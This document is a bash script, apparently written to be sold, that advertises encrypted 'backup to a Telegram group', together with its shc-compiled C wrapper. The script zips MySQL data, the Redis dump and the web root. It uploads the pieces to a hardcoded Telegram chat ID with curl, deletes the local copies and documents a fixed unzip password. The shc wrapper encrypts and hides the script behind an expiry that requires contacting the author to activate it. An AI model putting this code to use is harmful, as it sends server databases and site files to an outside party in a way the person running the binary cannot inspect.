加密并切片备份到飞机群
#!/bin/bash
echo "加密并切片备份到飞机群程序在01/01/2023到期失效请在telegram联系作者@ben_niao激活程序"
mkdir -p /data/backups ; cd /data/backups
curl -s -o /dev/null -X POST "https://api.telegram.org/botxxx/sendMessage" -d chat_id="-674687594" -d \
text="$HOSTNAME.btc++开始区块加密切割++mysql++redis++wwwroot++备份到飞机群++@ben_niao"
randomid=$(cat /proc/sys/kernel/random/uuid)
passwd=$(echo $randomid | awk -F'-' '{print "benniao"$2$0$2$2}')
zip -q -r -P $passwd $HOSTNAME.btc /www/server/data /www/server/redis/dump.rdb /www/wwwroot/
split -b 45m $HOSTNAME.btc btc_区块加密_$randomid
rm -f $HOSTNAME.btc
for s in `ls /data/backups/` ; do
curl -s "https://api.telegram.org/botxxx/senddocument?chat_id=-674687594&" -F document=@"$s"
rm -f $s
done
curl -s -o /dev/null -X POST "https://api.telegram.org/botxxx/sendMessage" -d chat_id="-674687594" -d \
text="$HOSTNAME.ben++加密分割++mysql++redis++wwwroot++备份到飞机群成功++@ben_niao"
#解压密码 benniao2022
#密码构造方式 awk -F'-' '{print "benniao"$2$0$2$2}'
加密并切片备份到飞机群程序在01/01/2023到期失效请在telegram联系作者 @ben_niao 激活程序
root@ben:~# cat telegram_backup_mysql_redis_wwwroot.sh.x.c
#if 0
shc Version 4.0.3, Generic Shell Script Compiler
GNU GPL Version 3 Md Jahidul Hamid <jahidulhamid@yahoo.com>
shc -e 01/01/2023 -m The encryption program expires on 01/01/2023 Please contact the author @ben_niao on telegram to activate the program -v -f telegram_backup_mysql_redis_wwwroot.sh
#endif
static char data [] =
#define xecc_z 15
#define xecc ((&data[3]))
"\343\002\365\166\352\355\114\353\156\314\256\230\173\063\147\051"
"\270\072\167"
#define inlo_z 3
#define inlo ((&data[19]))
"\023\174\176"
#define lsto_z 1
#define lsto ((&data[22]))
"\137"
#define tst1_z 22
#define tst1 ((&data[25]))
"\150\240\045\014\356\120\023\317\123\000\154\021\273\321\050\161"
"\356\263\151\104\177\221\077\063\035\264\112"
#define tst2_z 19
#define tst2 ((&data[50]))
"\201\235\004\370\311\272\053\210\372\112\301\165\304\066\224\237"
"\100\354\032\150"
#define date_z 11
#define date ((&data[72]))
"\350\344\270\011\321\251\237\073\110\367\101\126\041"
#define chk1_z 22
#define chk1 ((&data[84]))
"\336\340\030\004\215\153\111\255\156\151\355\044\253\331\132\212"
"\063\036\200\113\353\111\166\055\320\324\245"
#define msg1_z 130
#define msg1 ((&data[121]))
"\163\077\053\276\227\302\047\070\337\333\202\326\263\136\266\074"
"\316\113\274\152\326\115\164\333\260\300\275\203\201\062\273\327"
"\165\264\063\356\143\303\070\245\364\023\172\224\106\360\136\173"
"\245\117\067\037\137\146\230\236\116\233\234\014\035\244\055\255"
"\103\251\052\130\035\177\246\215\323\335\271\120\341\211\264\100"
"\240\212\320\213\140\065\167\246\025\236\105\203\252\005\063\341"
"\117\213\117\302\212\003\163\366\070\144\314\306\344\271\021\333"
"\175\074\140\006\261\364\034\016\103\150\242\254\144\155\036\322"
"\047\140\105\366\166\302\246\072\007\275\225\151\227\310\347\300"
"\061\012\253\063\363\217\314\075\135\252\153\056\176\020"
#define msg2_z 19
#define msg2 ((&data[272]))
"\273\030\306\172\022\046\354\201\326\354\100\211\253\312\142\062"
"\312\017\122\120\053\235\030\260\211\241"
#define chk2_z 19
#define chk2 ((&data[296]))
"\153\062\015\356\237\361\354\264\376\045\031\312\134\225\214\107"
"\141\354\275\331\047\144\054"
#define rlax_z 1
#define rlax ((&data[317]))
"\033"
#define opts_z 1
#define opts ((&data[318]))
"\374"
#define text_z 1114
#define text ((&data[492]))
"\015\012\362\214\033\072\144\265\366\175\174\161\055\005\023\026"
"\156\220\201\240\365\255\004\143\205\233\305\354\376\144\260\014"
"\157\243\230\212\336\375\100\324\172\274\106\250\301\131\276\060"
"\352\077\321\337\355\325\102\162\161\010\136\157\154\017\173\334"
"\262\024\146\220\022\246\145\214\142\253\065\044\005\363\125\357"
"\062\047\316\040\374\020\222\155\031\361\335\206\001\131\142\263"
"\156\310\104\200\157\251\015\322\125\102\366\132\065\114\111\150"
"\163\027\210\160\050\033\336\101\015\273\307\016\025\052\302\203"
"\362\006\003\141\260\021\063\005\123\052\140\211\167\251\361\352"
"\301\172\133\352\225\071\054\243\365\364\261\012\036\163\215\021"
"\172\221\163\053\243\246\060\366\321\221\200\110\073\144\147\340"
"\076\157\122\200\375\375\105\213\313\141\242\061\227\264\217\240"
"\243\311\122\244\165\366\266\141\361\114\370\206\061\367\144\224"
"\225\146\146\133\073\267\355\350\326\225\273\161\356\005\043\172"
"\332\332\206\122\273\314\132\034\123\300\127\112\325\100\114\105"
"\037\317\317\353\120\043\145\344\206\315\370\234\356\311\066\202"
"\122\030\224\011\052\201\345\272\044\317\167\154\144\261\164\273"
"\113\263\321\232\107\277\044\031\301\212\341\223\060\137\161\363"
"\255\312\233\275\030\222\204\047\250\274\014\163\330\310\316\261"
"\066\056\071\121\013\357\231\303\212\067\210\172\106\356\355\137"
"\277\230\300\323\055\206\005\262\253\015\130\074\021\307\322\121"
"\142\316\010\265\333\325\037\263\320\150\365\264\117\364\272\023"
"\364\137\075\147\000\315\256\023\134\316\234\227\124\025\357\074"
"\272\013\145\106\045\131\250\077\225\262\060\232\104\000\052\231"
"\060\323\076\155\022\323\247\205\001\375\125\010\305\022\276\152"
"\263\254\342\074\300\145\110\154\200\267\230\206\164\164\357\367"
"\114\234\046\075\347\233\202\017\047\204\015\167\112\230\306\174"
"\331\301\164\163\324\117\321\320\072\077\254\335\312\376\212\277"
"\276\124\173\237\057\304\275\330\044\153\155\043\030\163\102\074"
"\241\136\114\271\266\110\370\006\234\115\163\313\362\321\030\063"
"\213\135\047\304\172\275\332\015\016\366\006\104\035\023\231\241"
"\351\320\241\225\330\112\126\104\353\136\376\136\004\250\244\112"
"\274\142\367\117\124\267\142\364\137\270\337\151\122\212\027\142"
"\132\326\254\025\123\035\276\176\357\355\043\100\201\110\211\140"
"\217\051\261\015\155\042\143\353\367\007\367\011\053\073\333\372"
"\322\107\324\225\061\027\375\303\043\050\300\170\227\337\130\144"
"\121\361\100\070\221\106\270\030\101\371\071\322\153\344\025\105"
"\310\136\136\177\366\377\336\051\075\346\151\120\034\263\171\270"
"\260\146\223\071\270\221\064\163\260\272\064\001\223\275\235\112"
"\004\017\237\020\202\224\024\074\212\003\266\316\104\032\100\213"
"\155\365\224\275\122\123\003\004\033\072\314\271\026\044\240\314"
"\105\345\247\042\001\373\146\115\113\211\307\045\151\272\311\217"
"\325\310\303\376\317\020\034\013\373\321\346\361\171\203\345\050"
"\033\331\066\321\112\222\065\375\032\036\316\335\130\043\233\226"
"\310\373\273\354\326\236\235\131\266\257\225\257\175\064\225\027"
"\366\200\263\115\131\345\220\121\142\017\210\117\323\322\037\255"
"\375\211\300\355\003\221\263\121\173\313\224\215\365\046\016\347"
"\271\206\330\311\070\040\270\207\200\354\016\220\275\362\102\356"
"\152\052\006\047\352\336\245\074\141\054\350\133\207\201\130\152"
"\237\321\352\202\005\005\067\365\000\350\264\305\300\110\367\207"
"\346\034\276\177\111\002\114\332\307\251\213\237\362\076\042\315"
"\332\325\165\327\041\164\161\046\136\145\135\227\167\317\143\015"
"\334\062\216\060\162\160\127\256\214\266\004\333\036\015\144\212"
"\241\056\363\372\032\275\325\156\120\342\340\377\351\025\254\363"
"\304\313\000\242\117\342\157\355\225\164\344\223\052\233\052\212"
"\063\074\367\210\134\377\040\200\207\103\044\010\003\361\342\346"
"\062\204\005\375\205\013\377\136\351\075\346\323\050\055\313\372"
"\303\366\345\155\077\113\145\007\123\205\044\145\104\311\214\064"
"\014\235\151\243\311\002\064\375\153\147\147\311\044\024\172\211"
"\077\201\107\367\021\224\361\033\246\052\014\023\157\244\007\236"
"\230\154\125\160\365\121\374\036\000\356\124\263\006\256\326\132"
"\267\370\001\302\144\203\225\257\263\256\140\367\312\134\026\325"
"\365\274\165\017\020\047\031\357\011\364\324\121\253\206\235\236"
"\147\114\072\246\243\331\276\231\321\331\212\223\007\271\045\327"
"\356\205\020\250\313\362\066\126\272\201\331\314\231\124\021\326"
"\317\273\325\235\010\316\302\241\072\324\131\350\315\363\041\335"
"\357\226\207\335\326\260\361\346\135\120\235\372\273\111\155\247"
"\171\367\223\050\247\046\224\353\014\252\203\316\244\011\207\155"
"\061\250\002\112\040\327\367\060\114\346\012\102\174\153\061\235"
"\314\060\011\101\100\134\230\343\004\356\250\173\217\146\347\270"
"\125\121\051\210\215\055\374\055\133\001\237\025\357\334\304\160"
"\240\073\335\116\322\202\133\157\063\022\067\361\371\305\375\337"
"\357\053\012\101\101\137\170\126\107\373\057\007\255\137\145\362"
"\267\202\215\130\066\270\302\347\313\306\352\337\031\173\377\120"
"\371\042\151\127\146\124\000\366\146\112\147\117\162\270\045\354"
"\362\070\205\127\003\016\021\020\234\104\027\104\262\105\201\257"
"\124\367\270\014\251\126\007\127\155\001\027\003\061\233\102\066"
"\202\215\115\107\272\046\073\343\070\307\067\232\374\216\277\221"
"\205\255\366\224\355\226\077\363\246\103\324\021\040\326\076\121"
"\074\135\275\006\176\306\111\101\332\260\144\057\156\231\334\261"
"\243\057\235\152\315\063\340\161\063\375\354\216\347\201\310\023"
"\044\275\010\326\307\046\112\125\070\305\347\253\360\212\121\040"
"\201\043\262\001\154\355\163\237\352\137\056\321\341\366\345\006"
"\263\356\334\173\025\047\321\115\354\271\370\334\104\111\375\305"
"\155\257\307\331\235\073\170\207\233\246\131\174\235\077\202\120"
"\055\137\314\102\207\235\217\163\127\207\120\233\321\115\141\076"
"\375\050\030\232\144\221\042\377\070\173\173\325\273\376\046\350"
"\136\362\053\345\220\273\131\347\103\251\202\024\367\344\123\365"
"\014\153\220\161\375\262\160\065\056\354\012\352\353\060\322\111"
"\043\376\057\263\271\210\233\374\061\036\021\051\002\145\036\017"
"\321\256\200\316\141\360\003\220\335\015\172\310\076\115\022\141"
"\113\101\025\005\311\261\002\373\317\024\044\321\171\103\340\112"
"\362\141\031\123\122\034\343\057\052\136\370\151\253\012\312\367"
"\113\340\374\025\221\377\020\140\023\065\062\215\171"
#define shll_z 10
#define shll ((&data[1822]))
"\164\361\236\060\353\117\307\322\032\173\134\217\277"
#define pswd_z 256
#define pswd ((&data[1836]))
"\367\070\001\107\001\032\304\361\161\272\022\177\120\065\046\122"
"\237\167\027\312\363\367\357\132\227\312\144\336\350\301\115\344"
"\357\216\054\360\251\360\342\032\253\364\231\374\051\277\116\311"
"\067\146\224\052\136\203\205\365\116\352\324\067\253\041\033\233"
"\260\107\214\131\070\156\163\343\143\014\337\214\314\056\126\003"
"\224\352\056\362\156\264\350\274\236\274\363\112\336\017\346\216"
"\127\162\347\217\341\133\163\104\147\123\321\064\201\050\067\026"
"\023\146\011\201\032\361\076\271\255\062\004\214\102\352\033\231"
"\135\003\050\076\136\233\203\306\356\125\372\160\175\062\206\220"
"\231\217\022\264\201\120\155\057\203\161\273\305\134\326\136\271"
"\332\207\370\070\042\173\376\021\320\371\202\116\054\010\336\305"
"\230\360\171\031\101\346\110\304\130\004\212\264\333\350\156\265"
"\157\146\356\222\342\355\244\262\346\046\001\022\057\337\327\310"
"\320\121\342\021\067\052\326\220\057\140\105\012\111\263\300\271"
"\032\256\114\374\233\360\257\202\027\260\224\107\217\154\017\140"
"\275\361\162\365\034\110\206\114\251\313\127\363\177\027\254\231"
"\305\371\226\357\241\254\371\154\243\105\115\240\132\337\240\153"
"\077\264\241\162\101\032\206\032\205\373\013\104\302\031\347\271"
"\122\350\250\364\225\242\141\071\350\257\331\102"/* End of data[] */;
#define hide_z 4096
#define SETUID 0 /* Define as 1 to call setuid(0) at start of script */
#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */
#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */
#define HARDENING 0 /* Define as 1 to disable ptrace/dump the executable */
#define BUSYBOXON 0 /* Define as 1 to enable work with busybox */
#if HARDENING
static const char * shc_x[] = {
"/*",
" * Copyright 2019 - Intika <intika@librefox.org>",
" * Replace ******** with secret read from fd 21",
" * Also change arguments location of sub commands (sh script commands)",
" * gcc -Wall -fpic -shared -o shc_secret.so shc_secret.c -ldl",
" */",
"",
"#define _GNU_SOURCE /* needed to get RTLD_NEXT defined in dlfcn.h */",
"#define PLACEHOLDER \"********\"",
"#include <dlfcn.h>",
"#include <stdlib.h>",
"#include <string.h>",
"#include <unistd.h>",
"#include <stdio.h>",
"#include <signal.h>",
"",
"static char secret[128000]; //max size",
"typedef int (*pfi)(int, char **, char **);",
"static pfi real_main;",
"",
"// copy argv to new location",
"char **copyargs(int argc, char** argv){",
" char **newargv = malloc((argc+1)*sizeof(*argv));",
" char *from,*to;",
" int i,len;",
"",
" for(i = 0; i<argc; i++){",
" from = argv[i];",
" len = strlen(from)+1;",
" to = malloc(len);",
" memcpy(to,from,len);",
" // zap old argv space",
" memset(from,'\\0',len);",
" newargv[i] = to;",
" argv[i] = 0;",
" }",
" newargv[argc] = 0;",
" return newargv;",
"}",
"",
"static int mymain(int argc, char** argv, char** env) {",
" //fprintf(stderr, \"Inject main argc = %d\\n\", argc);",
" return real_main(argc, copyargs(argc,argv), env);",
"}",
"",
"int __libc_start_main(int (*main) (int, char**, char**),",
" int argc,",
" char **argv,",
" void (*init) (void),",
" void (*fini)(void),",
" void (*rtld_fini)(void),",
" void (*stack_end)){",
" static int (*real___libc_start_main)() = NULL;",
" int n;",
"",
" if (!real___libc_start_main) {",
" real___libc_start_main = dlsym(RTLD_NEXT, \"__libc_start_main\");",
" if (!real___libc_start_main) abort();",
" }",
"",
" n = read(21, secret, sizeof(secret));",
" if (n > 0) {",
" int i;",
"",
" if (secret[n - 1] == '\\n') secret[--n] = '\\0';",
" for (i = 1; i < argc; i++)",
" if (strcmp(argv[i], PLACEHOLDER) == 0)",
" argv[i] = secret;",
" }",
"",
" real_main = main;",
"",
" return real___libc_start_main(mymain, argc, argv, init, fini, rtld_fini, stack_end);",
"}",
"",
0};
#endif /* HARDENING */
/* rtc.c */
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
/* 'Alleged RC4' */
static unsigned char stte[256], indx, jndx, kndx;
/*
* Reset arc4 stte.
*/
void stte_0(void)
{
indx = jndx = kndx = 0;
do {
stte[indx] = indx;
} while (++indx);
}
/*
* Set key. Can be used more than once.
*/
void key(void * str, int len)
{
unsigned char tmp, * ptr = (unsigned char *)str;
while (len > 0) {
do {
tmp = stte[indx];
kndx += tmp;
kndx += ptr[(int)indx % len];
stte[indx] = stte[kndx];
stte[kndx] = tmp;
} while (++indx);
ptr += 256;
len -= 256;
}
}
/*
* Crypt data.
*/
void arc4(void * str, int len)
{
unsigned char tmp, * ptr = (unsigned char *)str;
while (len > 0) {
indx++;
tmp = stte[indx];
jndx += tmp;
stte[indx] = stte[jndx];
stte[jndx] = tmp;
tmp += stte[indx];
*ptr ^= stte[tmp];
ptr++;
len--;
}
}
/* End of ARC4 */
#if HARDENING
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/prctl.h>
#define PR_SET_PTRACER 0x59616d61
/* Seccomp Sandboxing Init */
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/audit.h>
#define ArchField offsetof(struct seccomp_data, arch)
#define Allow(syscall) \
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW)
struct sock_filter filter[] = {
/* validate arch */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField),
BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
/* load syscall */
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)),
/* list of allowed syscalls */
Allow(exit_group), /* exits a process */
Allow(brk), /* for malloc(), inside libc */
Allow(mmap), /* also for malloc() */
Allow(munmap), /* for free(), inside libc */
/* and if we don't match above, die */
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog = {
.len = sizeof(filter)/sizeof(filter[0]),
.filter = filter
};
/* Seccomp Sandboxing - Set up the restricted environment */
void seccomp_hardening() {
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
perror("Could not start seccomp:");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) {
perror("Could not start seccomp:");
exit(1);
}
}
/* End Seccomp Sandboxing Init */
void shc_x_file() {
FILE *fp;
int line = 0;
if ((fp = fopen("/tmp/shc_x.c", "w")) == NULL ) {exit(1); exit(1);}
for (line = 0; shc_x[line]; line++) fprintf(fp, "%s\n", shc_x[line]);
fflush(fp);fclose(fp);
}
int make() {
char * cc, * cflags, * ldflags;
char cmd[4096];
cc = getenv("CC");
if (!cc) cc = "cc";
sprintf(cmd, "%s %s -o %s %s", cc, "-Wall -fpic -shared", "/tmp/shc_x.so", "/tmp/shc_x.c -ldl");
if (system(cmd)) {remove("/tmp/shc_x.c"); return -1;}
remove("/tmp/shc_x.c"); return 0;
}
void arc4_hardrun(void * str, int len) {
//Decode locally
char tmp2[len];
char tmp3[len+1024];
memcpy(tmp2, str, len);
unsigned char tmp, * ptr = (unsigned char *)tmp2;
int lentmp = len;
int pid, status;
pid = fork();
shc_x_file();
if (make()) {exit(1);}
setenv("LD_PRELOAD","/tmp/shc_x.so",1);
if(pid==0) {
//Start tracing to protect from dump & trace
if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
kill(getpid(), SIGKILL);
_exit(1);
}
//Decode Bash
while (len > 0) {
indx++;
tmp = stte[indx];
jndx += tmp;
stte[indx] = stte[jndx];
stte[jndx] = tmp;
tmp += stte[indx];
*ptr ^= stte[tmp];
ptr++;
len--;
}
//Do the magic
sprintf(tmp3, "%s %s", "'********' 21<<<", tmp2);
//Exec bash script //fork execl with 'sh -c'
system(tmp2);
//Empty script variable
memcpy(tmp2, str, lentmp);
//Clean temp
remove("/tmp/shc_x.so");
//Sinal to detach ptrace
ptrace(PTRACE_DETACH, 0, 0, 0);
exit(0);
}
else {wait(&status);}
/* Seccomp Sandboxing - Start */
seccomp_hardening();
exit(0);
}
#endif /* HARDENING */
/*
* Key with file invariants.
*/
int key_with_file(char * file)
{
struct stat statf[1];
struct stat control[1];
if (stat(file, statf) < 0)
return -1;
/* Turn on stable fields */
memset(control, 0, sizeof(control));
control->st_ino = statf->st_ino;
control->st_dev = statf->st_dev;
control->st_rdev = statf->st_rdev;
control->st_uid = statf->st_uid;
control->st_gid = statf->st_gid;
control->st_size = statf->st_size;
control->st_mtime = statf->st_mtime;
control->st_ctime = statf->st_ctime;
key(control, sizeof(control));
return 0;
}
#if DEBUGEXEC
void debugexec(char * sh11, int argc, char ** argv)
{
int i;
fprintf(stderr, "shll=%s\n", sh11 ? sh11 : "<null>");
fprintf(stderr, "argc=%d\n", argc);
if (!argv) {
fprintf(stderr, "argv=<null>\n");
} else {
for (i = 0; i <= argc ; i++)
fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : "<null>");
}
}
#endif /* DEBUGEXEC */
void rmarg(char ** argv, char * arg)
{
for (; argv && *argv && *argv != arg; argv++);
for (; argv && *argv; argv++)
*argv = argv[1];
}
void chkenv_end(void);
int chkenv(int argc)
{
char buff[512];
unsigned long mask, m;
int l, a, c;
char * string;
extern char ** environ;
mask = (unsigned long)getpid();
stte_0();
key(&chkenv, (void*)&chkenv_end - (void*)&chkenv);
key(&data, sizeof(data));
key(&mask, sizeof(mask));
arc4(&mask, sizeof(mask));
sprintf(buff, "x%lx", mask);
string = getenv(buff);
#if DEBUGEXEC
fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : "<null>");
#endif
l = strlen(buff);
if (!string) {
/* 1st */
sprintf(&buff[l], "=%lu %d", mask, argc);
putenv(strdup(buff));
return 0;
}
c = sscanf(string, "%lu %d%c", &m, &a, buff);
if (c == 2 && m == mask) {
/* 3rd */
rmarg(environ, &string[-l - 1]);
return 1 + (argc - a);
}
return -1;
}
void chkenv_end(void){}
#if HARDENING
static void gets_process_name(const pid_t pid, char * name) {
char procfile[BUFSIZ];
sprintf(procfile, "/proc/%d/cmdline", pid);
FILE* f = fopen(procfile, "r");
if (f) {
size_t size;
size = fread(name, sizeof (char), sizeof (procfile), f);
if (size > 0) {
if ('\n' == name[size - 1])
name[size - 1] = '\0';
}
fclose(f);
}
}
void hardening() {
prctl(PR_SET_DUMPABLE, 0);
prctl(PR_SET_PTRACER, -1);
int pid = getppid();
char name[256] = {0};
gets_process_name(pid, name);
if ( (strcmp(name, "bash") != 0)
&& (strcmp(name, "/bin/bash") != 0)
&& (strcmp(name, "sh") != 0)
&& (strcmp(name, "/bin/sh") != 0)
&& (strcmp(name, "sudo") != 0)
&& (strcmp(name, "/bin/sudo") != 0)
&& (strcmp(name, "/usr/bin/sudo") != 0)
&& (strcmp(name, "gksudo") != 0)
&& (strcmp(name, "/bin/gksudo") != 0)
&& (strcmp(name, "/usr/bin/gksudo") != 0)
&& (strcmp(name, "kdesu") != 0)
&& (strcmp(name, "/bin/kdesu") != 0)
&& (strcmp(name, "/usr/bin/kdesu") != 0)
)
{
printf("Operation not permitted\n");
kill(getpid(), SIGKILL);
exit(1);
}
}
#endif /* HARDENING */
#if !TRACEABLE
#define _LINUX_SOURCE_COMPAT
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#if !defined(PT_ATTACHEXC) /* New replacement for PT_ATTACH */
#if !defined(PTRACE_ATTACH) && defined(PT_ATTACH)
#define PT_ATTACHEXC PT_ATTACH
#elif defined(PTRACE_ATTACH)
#define PT_ATTACHEXC PTRACE_ATTACH
#endif
#endif
void untraceable(char * argv0)
{
char proc[80];
int pid, mine;
switch(pid = fork()) {
case 0:
pid = getppid();
/* For problematic SunOS ptrace */
#if defined(__FreeBSD__)
sprintf(proc, "/proc/%d/mem", (int)pid);
#else
sprintf(proc, "/proc/%d/as", (int)pid);
#endif
close(0);
mine = !open(proc, O_RDWR|O_EXCL);
if (!mine && errno != EBUSY)
mine = !ptrace(PT_ATTACHEXC, pid, 0, 0);
if (mine) {
kill(pid, SIGCONT);
} else {
perror(argv0);
kill(pid, SIGKILL);
}
_exit(mine);
case -1:
break;
default:
if (pid == waitpid(pid, 0, 0))
return;
}
perror(argv0);
_exit(1);
}
#endif /* !TRACEABLE */
char * xsh(int argc, char ** argv)
{
char * scrpt;
int ret, i, j;
char ** varg;
char * me = argv[0];
if (me == NULL) { me = getenv("_"); }
if (me == 0) { fprintf(stderr, "E: neither argv[0] nor $_ works."); exit(1); }
ret = chkenv(argc);
stte_0();
key(pswd, pswd_z);
arc4(msg1, msg1_z);
arc4(date, date_z);
if (date[0] && (atoll(date)<time(NULL)))
return msg1;
arc4(shll, shll_z);
arc4(inlo, inlo_z);
arc4(xecc, xecc_z);
arc4(lsto, lsto_z);
arc4(tst1, tst1_z);
key(tst1, tst1_z);
arc4(chk1, chk1_z);
if ((chk1_z != tst1_z) || memcmp(tst1, chk1, tst1_z))
return tst1;
arc4(msg2, msg2_z);
if (ret < 0)
return msg2;
varg = (char **)calloc(argc + 10, sizeof(char *));
if (!varg)
return 0;
if (ret) {
arc4(rlax, rlax_z);
if (!rlax[0] && key_with_file(shll))
return shll;
arc4(opts, opts_z);
#if HARDENING
arc4_hardrun(text, text_z);
exit(0);
/* Seccomp Sandboxing - Start */
seccomp_hardening();
#endif
arc4(text, text_z);
arc4(tst2, tst2_z);
key(tst2, tst2_z);
arc4(chk2, chk2_z);
if ((chk2_z != tst2_z) || memcmp(tst2, chk2, tst2_z))
return tst2;
/* Prepend hide_z spaces to script text to hide it. */
scrpt = malloc(hide_z + text_z);
if (!scrpt)
return 0;
memset(scrpt, (int) ' ', hide_z);
memcpy(&scrpt[hide_z], text, text_z);
} else { /* Reexecute */
if (*xecc) {
scrpt = malloc(512);
if (!scrpt)
return 0;
sprintf(scrpt, xecc, me);
} else {
scrpt = me;
}
}
j = 0;
#if BUSYBOXON
varg[j++] = "busybox";
varg[j++] = "sh";
#else
varg[j++] = argv[0]; /* My own name at execution */
#endif
if (ret && *opts)
varg[j++] = opts; /* Options on 1st line of code */
if (*inlo)
varg[j++] = inlo; /* Option introducing inline code */
varg[j++] = scrpt; /* The script itself */
if (*lsto)
varg[j++] = lsto; /* Option meaning last option */
i = (ret > 1) ? ret : 0; /* Args numbering correction */
while (i < argc)
varg[j++] = argv[i++]; /* Main run-time arguments */
varg[j] = 0; /* NULL terminated array */
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
}
int main(int argc, char ** argv)
{
#if SETUID
setuid(0);
#endif
#if DEBUGEXEC
debugexec("main", argc, argv);
#endif
#if HARDENING
hardening();
#endif
#if !TRACEABLE
untraceable(argv[0]);
#endif
argv[1] = xsh(argc, argv);
fprintf(stderr, "%s%s%s: %s\n", argv[0],
errno ? ": " : "",
errno ? strerror(errno) : "",
argv[1] ? argv[1] : "<null>"
);
return 1;
}
Last updated